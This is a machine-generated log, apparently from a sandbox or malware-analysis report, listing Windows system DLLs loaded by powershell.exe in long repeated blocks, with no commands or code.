                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
